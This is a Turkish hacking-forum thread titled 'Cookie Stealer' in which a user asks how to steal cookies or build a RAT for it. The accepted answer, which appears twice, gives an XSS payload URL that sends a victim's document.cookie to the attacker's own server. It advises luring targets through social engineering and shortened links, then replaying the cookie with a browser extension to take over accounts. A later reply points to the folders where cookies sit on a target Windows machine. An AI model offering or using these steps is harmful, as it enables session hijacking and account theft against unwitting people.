Merhaba, cookieler hakkında birazcik bilgi verebilir misiniz? Cookieleri nasıl çalabilirim? Veya bunun için bir rat yapabilir miyim?
Cookie Stealer
- Konuyu başlatan KeoAltidore
- Başlangıç tarihi
Çözüm
Cokkie ler bir web sitesine kayıt olup hesabınıza girdikten sonra web site tarafından size özel atanan oturum bilgisidir ve bu bilgi dosyalara yazılır, bu sayede aynı web sayfasını ziyaret ettiğinizde bilgilerinizi yeniden girmeye gerek duymazsınız.
Hedefin Cokkie bilgisini çalmak için en basitinden XSS zafiyetinden yararlanabilirsiniz. Örnek olarak;
http ://vulnerable.webapp/index.php?name=<script>document.location="http: //kendiwebsunucumuz.com/cookie.php?c="+document.cookie;</script> gibi açıklı url ye javascript kodu girerseniz ve sosyal mühendislik ile bunu hedef kişiye atarsanız(link kısaltma ile inandırıcılık arttırılabilir). Hedef kişi linke tıkladığı zaman cookie bilgisini kendi sunucumuza aktarabiliriz. Elde edilen cookie bilgisini EditThisCookie adlı eklenti ile hedefin cookie bilgisini girerek hedef kişinin kullanıcı adı ve parolasına ihtiyaç duymadan hesaba erişebiliriz. Session Hijacking Saldırısını araştırabilirsiniz.
Hedefin Cokkie bilgisini çalmak için en basitinden XSS zafiyetinden yararlanabilirsiniz. Örnek olarak;
http ://vulnerable.webapp/index.php?name=<script>document.location="http: //kendiwebsunucumuz.com/cookie.php?c="+document.cookie;</script> gibi açıklı url ye javascript kodu girerseniz ve sosyal mühendislik ile bunu hedef kişiye atarsanız(link kısaltma ile inandırıcılık arttırılabilir). Hedef kişi linke tıkladığı zaman cookie bilgisini kendi sunucumuza aktarabiliriz. Elde edilen cookie bilgisini EditThisCookie adlı eklenti ile hedefin cookie bilgisini girerek hedef kişinin kullanıcı adı ve parolasına ihtiyaç duymadan hesaba erişebiliriz. Session Hijacking Saldırısını araştırabilirsiniz.
Son düzenleme:
- Konuyu başlatan
- #4
Senin adına üzüldüm, ben daha çok milleti çalmak değil de test etmek denemek istiyorum. Bilgin var mı bu konu da?
Yanıtınız için çok çok teşekkür ederim. Fakat benim dediğim site ile değil de normal bir rat atarak klasörlerinden cookielerine erişemez miyiz?
Cookie ler metin dosyasında saklanır. Bu sebeple içerikleri görülebilir (bazı siteler şifreleyerek saklar). İnternette "cookies folder location in windows x" şeklinde aratarak cookie bilgilerinin saklandığı dosyaların dizinlerini bulabilir ve hedef sistemde de aynı yolu kullanarak bilgiler elde edilebilir.
